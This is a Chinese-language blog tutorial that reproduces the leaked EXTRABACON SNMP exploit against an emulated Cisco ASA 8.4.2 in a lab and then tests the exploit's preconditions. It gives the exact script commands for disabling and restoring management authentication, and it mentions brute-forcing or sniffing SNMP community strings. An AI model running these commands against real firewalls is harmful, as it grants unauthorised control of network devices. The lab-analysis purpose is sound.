NSA數據泄露后,很多大牛都給出了分析報告,讓我受益匪淺。作為一名技術小白,想分享下分析eqgrp-free-fileFirewallEXPLOITSEXBA的思路、搭建漏洞環境的過程和利用條件測試。本文具有極強的可操作性,請勿用于非法途徑。由于個人技術水平有限,文中可能還有部分問題和錯誤,還請各位大牛批評指正,歡迎交流!
000 最初的線索和資源分享
獲得泄露文件epgrp-free-file后,對FirewallEXPLOITS文件夾下的內容很感興趣,但子文件夾名稱對應的漏洞信息并不清楚。我們最關注的問題是這些漏洞利用工具的目標設備是什么,哪些版本受到漏洞影響,并且能否還原漏洞利用過程。對漏洞的成功復現是漏洞分析過程中非常重要的一步。
在分析過程中,注意到FirewallSCRIPTS目錄下存有部分關于漏洞利用工具的相關說明。比如EXTRABACON.txt,含有對EXBA下extrabacon_1.1.0.1.py漏洞利用腳本的相關說明。
明確目標是Cisco的ASA,版本v8.0-v8.4。由于是SNMP漏洞,需要ASA防火墻開啟SNMP服務。下一步我們需要搭建目標設備環境。由于手頭上沒有實物的ASA防火墻,所以我使用了基于VMware的ASA 8.42防火墻模擬器。為方便搭建環境,一并將資源和相關工具分享給大家。
ASA-8.42.rar(模擬ASA 5520,內含ASDM)
鏈接: https://pan.baidu.com/s/1dFzBqfv密碼: si9c
SecureCRT_win7.3.rar(C_R_T_7.3.rar)解壓密碼:CRT7.3
鏈接: https://pan.baidu.com/s/1bp3Jfvp密碼: yaq2
named pipe tcp proxy.zip
鏈接: https://pan.baidu.com/s/1jIdMvpO密碼: riw6
001 搭建ASA環境
使用VMware Workstation加載ASA-8.4.2虛擬機。建議首先修改虛擬機的配置,將橋接模式的網卡改成NAT模式,方便與其它虛擬機組網。同時,請查看下串行端口是否配置,默認配置為.pipe842。如果串口沒有配置,可以點擊添加串行端口,選擇“輸出到命名管道”。下一步按照下圖配置即可。
安裝named pipe tcp proxy軟件,并按照下圖配置,功能是將串行端口命名管道數據轉發到TCP端口上。
填入在ASA虛擬機配置的串行端口命名管道,Port選擇一個本機沒被占用的TCP端口。
安裝SecureCRT軟件并打開,新建一個Session,在協議中選擇Telnet,點擊下一步。
Hostname填入127.0.0.1,端口填入named Pipe Tcp Proxy中配置的端口,點擊下一步。
Session Name任意填寫,將作為一個標識,點擊完成。
打開ASA-842虛擬機電源,稍等片刻后,雙擊剛配置好的Session Name,如果右側終端顯示ciscoasa>就說明前面的配置沒有問題,現在相當是使用串口線連接ASA防火墻,下面開始配置ASA防火墻。該ASA鏡像默認用戶是netemu,密碼和enable密碼也是netemu。
ciscoasa>en
Password:****** (密碼是netemu)
ciscoasa#show run 查看下現在的配置
……
interface GigabitEthernet0
nameif inside
security-level 100
ip address 192.168.1.4 255.255.255.0
……
http server enable
http 192.168.1.0 255.255.255.0 inside
no snmp-server location
no snmp-server contact
snmp-server enable traps snmp authentication linkup linkdown coldstart warmstart
……
主要目的是復現漏洞,因此只需要根據自己的網絡環境做相應配置即可。如果對防火墻配置不熟悉,可以參考下面的配置命令。
配置IP地址,為inside區域:
ciscoasa# configure terminal
ciscoasa(config)# interface GigabitEthernet0
ciscoasa(config-if)# ip address 10.0.27.250 255.255.255.0 (配置該網卡IP為10.0.27.250)
ciscoasa(config-if)# no shut
ciscoasa(config-if)# nameif inside
配置完成后,使用宿主機應該可以ping通10.0.27.250。
為方便大家配置ASA防火墻,該鏡像中裝載有ASDM 6.4.9,只需要把Web管理方式打開,就可以使用ASDM管理和配置ASA了。
PS:有些鏡像是不帶ASDM的,需要自己使用tftp把ASDM的bin文件上傳。
配置http/https管理方式:
ciscoasa# configure terminal
ciscoasa(config)# http server enable
ciscoasa(config)# http 10.0.27.0 255.255.255.0 inside
然后使用瀏覽器訪問https://10.0.27.250,界面如下:
點擊Install ASDMlauncher,下載并安裝msi文件,需要安裝有JRE環境。安裝完成后可以在C:ProgramFiles (x86)Cisco SystemsASDM下,雙擊asdm-launcher.jar啟動ASDM客戶端。輸入IP、用戶名和密碼,即可登錄防火墻管理界面。
ASA最最基本的配置已經完成,別忘了使用write memory命令來保存之前的配置,否則斷電就白配置了。
002 漏洞復現
繼續閱讀EXTRABACON.txt文件。
根據該文件,目標防火墻需要開啟22(ssh)或者23(telnet)管理端口,并且需要開啟snmp-server。在確認目標防火墻22或者23端口開放后(通過端口掃描),我們可以使用extrabacon_1.1.0.1.py腳本的info參數對目標udp 161端口進行探測,并嘗試獲取需要的目標版本信息。
python extrabacon_1.1.0.1.py info -t 10.0.27.250 -c public
我們先來配置ssh和telnet管理方式,使ASA防火墻的22和23端口開放。
ssh管理配置:
ciscoasa# configure terminal
ciscoasa(config)# crypto key generate rsa modulus 1024
INFO: The name for the keys will be:
Keypair generation process begin. Please wait...
ciscoasa(config)# write memory
ciscoasa(config)# ssh 10.0.27.0 255.255.255.0 inside
ciscoasa(config)# aaa authentication ssh console LOCAL
telnet管理配置:
ciscoasa# configure terminal
ciscoasa(config)# telnet 10.0.27.0 255.255.255.0 inside
配置完成后,可以使用putty以ssh或telnet的方式登陸防火墻,注意在未使用漏洞利用工具前登陸是需要輸入用戶名和密碼的,輸入enable后還需要輸入enable密碼。
也可以直接通過ASDM圖形化界面完成上述配置,如上圖。ssh和telnet配置完成后,我們先嘗試使用extrabacon_1.1.0.1.py腳本探測下防火墻的udp 161端口。請直接把EXBA整個文件夾拷貝到Kali虛擬機中使用。
發送了一個snmp協議中get-request請求,version是v2c,但防火墻沒有任何響應。
防火墻默認是沒有開啟snmp-server的,現在讓我們配置下。
ciscoasa# configure terminal
ciscoasa(config)# snmp-server host inside 10.0.27.133 community public
簡單網絡管理協議SNMP,ASA 支持的版本v1 v2c v3,所有的訪問都必須認證。
v1和v2 版本是基于IP 地址和Community進行認證,而v3版本使用用戶名和密碼進行認證。
如果有興趣深入了解,可參考http://www.cnblogs.com/xdp-gacl/p/3978825.html
上面輸入的snmp-server host inside 10.0.27.133 community public配置命令,反映在ASDM圖形化管理界面上如上圖所示,也可以直接使用ASDM配置snmp-server。在extrabacon_1.1.0.1.py腳本中可以看到其支持的協議版本(only v2c),而v1和v2的認證是基于IP和Community,由于extrabacon_1.1.0.1.py腳本在Kali上運行,需要將host inside后面的IP設置為Kali虛擬機的IP地址,community相當于認證使用的密碼,這里設置為public。snmp-server配置完成后,我們再使用腳本的info參數探測下ASA的udp 161端口。
python extrabacon_1.1.0.1.py info -t 10.0.27.250 -c public
這次ASA給出了響應包,get-response數據包中包含了ASA的版本及hostname。同時漏洞利用腳本回顯的最后幾行給出了下一步需要執行的命令。—mode pass-disable的參數反映出該利用工具預期達到的效果,關閉防火墻對telnet或者ssh管理方式的認證,允許攻擊者通過連接不需要驗證的管理接口進行未授權操作。
新產生的/EXBA/keys/LZueXn.key文件,只是用來標識目標防火墻版本。
利用腳本會根據key文件中的版本在/EXBA/version/目錄下選擇對應的shellcode,來生成payload數據包。
復現漏洞的時刻到了!
python extrabacon_1.1.0.1.py exec -k LZUeXn -t 10.0.27.250 -c public --mode pass-disable
python extrabacon_1.1.0.1.py exec -t 10.0.27.250 -c public --mode pass-disable
如果不加參數-k,腳本將首先自動進行info探測,獲取目標版本信息后,再進行漏洞利用。
從key文件讀取版本,選擇對應版本shellcode,生成snmp協議的getBulkRequest請求數據包并發送。腳本執行成功后,使用putty以ssh或telnet的方式登陸下ASA防火墻,使用任意用戶名和密碼。并輸入enable,密碼任意,可以進行未授權操作,漏洞利用成功。
如果需要恢復認證,可以執行:
python extrabacon_1.1.0.1.py exec -k LZUeXn -t 10.0.27.250 -c public --mode pass-enable
003 利用條件測試
漏洞復現的環境搭建工作到此基本結束,但我繼續做了下面的部分測試,來探討該漏洞的利用條件。
因為在漏洞腳本利用前,我使用ASDM管理ASA,并且在漏洞利用全過程中沒有斷開ASDM的連接。在成功執行–mode pass-disable后,我在snmp配置界面做了一些更改,但點擊Apply后發現報錯,無法對snmp界面的Host Access List進行任何修改,見下圖。同時嘗試在其它配置面板對ASA更改其它配置,依然報錯,已無法使用ASDM對ASA進行配置。
將ASDM退出后,再次連接ASA,登陸時再次報錯,見下圖,此時已無法使用ASDM連接ASA。
根據報錯信息,懷疑漏洞利用的shellcode對privilege level進行了修改,還需要進一步驗證。
只有再次利用腳本執行–mode pass-enable恢復認證后,才能使用ASDM管理ASA??梢灶A見的是,如果管理員正在使用ASDM配置管理ASA防火墻,利用該漏洞攻擊是非常容易暴露的。
由于snmp v2版本是基于IP和Community字符串認證的,使該漏洞的利用條件變的比較苛刻。先來看基于IP的認證。
ciscoasa(config)#snmp-server host inside 10.0.27.133 community public
通過ASDM配置snmp服務時,Host Access Entry中的IP Address會進行合法性檢查,只能填入單個IP。
如果該IP與發送snmp請求包的IP地址不符,snmp服務將不予響應。經過測試,IP不符的情況下,漏洞利用腳本無法獲取目標版本信息,強行指定版本進行漏洞利用也無法成功。下圖是發送的版本信息探測數據包和payload數據包,ASA snmp服務均沒有任何響應。
在理想條件下,假設執行漏洞利用腳本的主機恰好在snmp的Host Access Entry列表中,那么還將面臨Community的認證。如果配置snmp-server的Community事先不知道,或者不是大家常用的public這種。漏洞利用腳本的-c參數將很難填寫。經過測試,在-c參數后面的Community與ASA snmp-server配置的Community不符合的情況下,漏洞利用工具將無法獲得目標版本信息,漏洞無法成功利用。當然,可以嘗試爆破snmp的Community。也可以利用v1,v2協議數據沒有經過加密處理而對網絡進行嗅探。
綜上所述,該漏洞成功利用的條件如下:
1、目標防火墻開啟22(ssh)或23(telnet)管理方式
2、目標配置了snmp服務。并且snmp配置中的Host Access Entry IP地址和Community字符串能夠獲得或者已知。
3、目標版本在8.X-8.4.4之間。
請考慮管理員是否正在使用ASDM對防火墻進行管理和配置。
手里還有FGT-VM-4.00-FW-build521的環境,下一步想分析ExploitsEGBL目錄。作為一名技術小白,編寫本文的目的就是拋磚引玉,希望能交流更細節的東西,也想幫助大家盡快搭建起ASA的測試環境,便于進一步漏洞的分析。期待與大家一起交流學習,共同進步!
*本文原創作者:tahf,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載